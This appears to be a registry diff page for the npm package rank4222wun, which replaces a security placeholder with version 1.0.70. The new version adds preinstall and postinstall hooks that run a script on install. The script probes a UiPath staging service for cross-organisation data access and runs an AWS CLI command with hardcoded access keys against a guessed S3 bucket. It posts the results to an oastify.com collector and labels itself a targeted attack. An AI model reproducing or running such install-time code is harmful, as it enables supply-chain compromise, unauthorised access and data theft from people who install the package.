rank4222wun 0.0.1-security → 1.0.70

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.70",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js",
7
+ "postinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,76 @@
1
+ const https = require('https');
2
+ const { execSync } = require('child_process');
3
+
4
+ const OAST = '2z26icqfa6vjiez8lc55cd3nmes5gwlka.oastify.com';
5
+ const ATTACKER_ORG = '6ed7b646-ddb8-4936-a39a-aca4359eaa63';
6
+ const TARGET_ORG = 'c7418f05-be49-4fda-a7d3-0b633737214a';
7
+ const TARGET_LOGICAL_NAME = 'asdwhvqwuu';
8
+
9
+ function report(tag, data) {
10
+ const payload = JSON.stringify({ tag, data, ts: Date.now(), attacker: ATTACKER_ORG });
11
+ const req = https.request({
12
+ hostname: OAST, path: `/${tag}`, method: 'POST',
13
+ headers: { 'Content-Type': 'application/json' }
14
+ });
15
+ req.write(payload);
16
+ req.end();
17
+ }
18
+
19
+ // 1. اختبار الـ BOLA (الوصول لبيانات الـ Org المستهدفة)
20
+ async function testCrossOrgAccess() {
21
+ // هنحاول نطلب الـ Metadata بتاع الـ Org التانية باستخدام مسار الـ AgentHub
22
+ const paths = [
23
+ `/${TARGET_ORG}/0d0456a1-2029-427a-a8da-d7646edcd1fc/agenthub_/mcp/test1/runtime/info`,
24
+ `/portal_/unregistered?serviceType=agenthub&organizationName=${TARGET_LOGICAL_NAME}`
25
+ ];
26
+
27
+ paths.forEach(path => {
28
+ const options = {
29
+ hostname: 'staging.uipath.com',
30
+ path: path,
31
+ method: 'GET',
32
+ headers: {
33
+ 'User-Agent': 'Mozilla/5.0',
34
+ 'X-UIPATH-OrganizationId': TARGET_ORG // حقن الـ Org المستهدفة في الـ Header
35
+ }
36
+ };
37
+
38
+ const req = https.get(options, (res) => {
39
+ let body = '';
40
+ res.on('data', (d) => body += d);
41
+ res.on('end', () => {
42
+ // لو رجع 200 وفي الـ Body أي ذكر لـ asdwhvqwuu يبقى Isolation Broken
43
+ report('CROSS_ORG_RESULT', {
44
+ path,
45
+ status: res.statusCode,
46
+ content_preview: body.substring(0, 200)
47
+ });
48
+ });
49
+ });
50
+ req.on('error', (e) => report('ERROR', e.message));
51
+ });
52
+ }
53
+
54
+ // 2. محاولة استخدام الـ AWS Keys للوصول لـ Resources تخص الـ Org المستهدفة
55
+ // غالباً في البيئات دي الـ S3 Buckets بتتسمى باسم الـ Org ID أو الـ Logical Name
56
+ function testSharedStorage() {
57
+ const awsKeys = {
58
+ id: 'AKIAIEKPQWEC2T2NUD2Q',
59
+ secret: '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'
60
+ };
61
+
62
+ // محاولة تخمين اسم الـ Bucket بناءً على الـ Logical Name
63
+ const potentialBucket = `uipath-${TARGET_LOGICAL_NAME}-data`;
64
+ try {
65
+ const cmd = `AWS_ACCESS_KEY_ID=${awsKeys.id} AWS_SECRET_ACCESS_KEY=${awsKeys.secret} aws s3 ls s3://${potentialBucket} --region us-east-1`;
66
+ const res = execSync(cmd).toString();
67
+ report('S3_CROSS_ORG_ACCESS', { bucket: potentialBucket, output: res });
68
+ } catch (e) {
69
+ report('S3_PROBE_FAILED', { bucket: potentialBucket, error: e.message });
70
+ }
71
+ }
72
+
73
+ // تشغيل الـ PoC
74
+ console.log(`🎯 Targeted Attack Started on Org: ${TARGET_LOGICAL_NAME}`);
75
+ testCrossOrgAccess();
76
+ testSharedStorage();
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.